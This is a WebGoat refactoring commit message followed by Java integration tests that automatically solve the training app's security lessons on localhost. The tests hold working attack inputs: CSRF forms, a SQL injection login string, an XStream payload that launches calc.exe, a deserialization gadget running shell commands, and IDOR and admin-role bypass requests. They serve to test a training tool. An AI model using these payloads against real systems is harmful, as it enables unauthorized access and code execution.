Refactoring (#1201)

* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
This commit is contained in:
Nanne Baars
2022-04-09 14:56:12 +02:00
committed by GitHub
parent f3d8206a07
commit 711649924b
1130 changed files with 3540 additions and 7643 deletions

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test;
import java.util.Map;
class AccessControlIntegrationTest extends IntegrationTest {
@Test
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
checkResults("/access-control");
}
private void assignment3() {
//direct call should fail if user has not been created
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
//create user
var userTemplate = """
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("/WebGoat/access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
//get the users
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
private void assignment2() {
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
"</form></body></html>";
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
"</form>\n" +
"</body></html>";
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
"</form></body></html>";
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
"</form></body></html>";
private String webwolfFileDir;
@BeforeEach
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
);
}
@AfterEach
public void shutdown() throws IOException {
//logout();
login();//because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("/csrf");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
//remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
//upload trick html
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
}
private String callTrickHtml(String htmlName) {
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then()
.extract().response().getBody().asString();
result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
return result;
}
private void checkAssignment3(String goatURL) {
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.post(goatURL)
.then()
.extract().path("flag").toString();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
boolean result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract().path("lessonCompleted");
assertEquals(true, result);
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.contentType(ContentType.TEXT)
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
.post(goatURL)
.then()
.extract().asString();
flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
//first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
//login and get the new cookie
String newCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract().cookie("JSESSIONID");
//select the lesson
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
//click on the assignment
boolean result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(url("/csrf/login"))
.then()
.statusCode(200)
.extract().path("lessonCompleted");
assertThat(result).isTrue();
login();
startLesson("CSRF", false);
Overview[] assignments = RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/service/lessonoverview.mvc"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
// assertThat(assignments)
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
// .extracting(o -> o.solved)
// .containsExactly(true);
}
@Data
private static class Overview {
Assignment assignment;
boolean solved;
}
/**
* Try to register the new user. Ignore the result.
*/
private void registerCSRFUser() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"));
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import org.junit.jupiter.api.Test;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
public void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/challenge/logo"))
.then()
.statusCode(200)
.extract().asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/1"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/1");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
}
@Test
public void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/5"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
}
}

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package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.fail;
import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.interfaces.RSAPrivateKey;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
import io.restassured.RestAssured;
public class CryptoIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("Cryptography");
checkAssignment2();
checkAssignment3();
// Assignment 4
try {
checkAssignment4();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
fail();
}
try {
checkAssignmentSigning();
} catch (Exception e) {
e.printStackTrace();
fail();
}
checkAssignmentDefaults();
checkResults("/crypto");
}
private void checkAssignment2() {
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
.asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
String answer_user = decodedString.split(":")[0];
String answer_pwd = decodedString.split(":")[1];
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
String answer_1 = "databasepassword";
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(url("/crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/md5")).then().extract().asString();
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/sha256")).then().extract().asString();
String answer_1 = "unknown";
String answer_2 = "unknown";
for (String secret : HashingAssignment.SECRETS) {
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
answer_1 = secret;
}
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
answer_2 = secret;
}
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/signing/getprivate"))
.then()
.extract().asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(url("/crypto/signing/verify"), params, true);
}
private void checkAssignmentDefaults() {
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(url("/crypto/secure/defaults"), params, true);
}
}

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package org.owasp.webgoat;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class DeserializationIntegrationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win") > -1) {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/");
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import java.util.HashMap;
import java.util.Map;
public class GeneralLessonIntegrationTest extends IntegrationTest {
@Test
public void httpBasics() {
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(url("HttpBasics/attack2"), params, true);
checkResults("/HttpBasics/");
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
MatcherAssert.assertThat(RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
checkResults("/HttpProxies/");
}
@Test
public void cia() {
startLesson("CIA");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
params.put("question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database.");
params.put("question_2_solution", "Solution 4: By launching a denial of service attack on the servers.");
params.put("question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(url("/WebGoat/cia/quiz"), params, true);
checkResults("/cia/");
}
@Test
public void vulnerableComponents() {
String solution = "<contact class='dynamic-proxy'>\n" +
"<interface>org.owasp.webgoat.lessons.vulnerable_components.Contact</interface>\n" +
" <handler class='java.beans.EventHandler'>\n" +
" <target class='java.lang.ProcessBuilder'>\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
"</contact>";
startLesson("VulnerableComponents");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("payload", solution);
checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
checkResults("/VulnerableComponents/");
}
@Test
public void insecureLogin() {
startLesson("InsecureLogin");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "CaptainJack");
params.put("password", "BlackPearl");
checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
checkResults("/InsecureLogin/");
}
@Test
public void securePasswords() {
startLesson("SecurePasswords");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords/");
startLesson("AuthBypass");
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
startLesson("HttpProxies");
MatcherAssert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
.statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
checkResults("/HttpProxies/");
}
@Test
public void chrome() {
startLesson("ChromeDevTools");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract().path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
checkResults("/ChromeDevTools/");
}
@Test
public void authByPass() {
startLesson("AuthBypass");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(url("/auth-bypass/verify-account"), params, true);
checkResults("/auth-bypass/");
}
@Test
public void lessonTemplate() {
startLesson("LessonTemplate");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "secr37Value");
params.put("param2", "Main");
checkAssignment(url("/lesson-template/sample-attack"), params, true);
checkResults("/lesson-template/");
}
}

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package org.owasp.webgoat;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.SneakyThrows;
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
public void init() {
startLesson("IDOR");
}
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("login",()-> loginIDOR()),
dynamicTest("profile", () -> profile())
);
}
@AfterEach
public void shutdown() throws IOException {
checkResults("/IDOR");
}
private void loginIDOR() throws IOException {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "tom");
params.put("password", "cat");
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
}
private void profile() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile"))
.then()
.statusCode(200)
.extract().path("userId"), CoreMatchers.is("2342384"));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("attributes", "userId,role");
checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) //part of the lesson
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
.put(url("/WebGoat/IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import java.util.Map;
import java.util.Objects;
import static io.restassured.RestAssured.given;
public abstract class IntegrationTest {
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
@Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false;
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter
private String webGoatCookie;
@Getter
private String webWolfCookie;
@Getter
private String user = "webgoat";
protected String url(String url) {
url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webgoatUrl + url;
}
protected String webWolfUrl(String url) {
url = url.replaceFirst("/WebWolf/", "");
url = url.replaceFirst("/WebWolf", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webWolfUrl + url;
}
@BeforeEach
public void login() {
String location = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().header("Location");
if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().cookie("JSESSIONID");
}
webWolfCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webWolfUrl("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
@AfterEach
public void logout() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(url("logout"))
.then()
.statusCode(200);
}
public void startLesson(String lessonName) {
startLesson(lessonName, false);
}
public void startLesson(String lessonName, boolean restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
.statusCode(200);
}
}
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
public void checkResults(String prefix) {
checkResults();
MatcherAssert.assertThat(RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
}
public void checkResults() {
var result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(result.then()
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
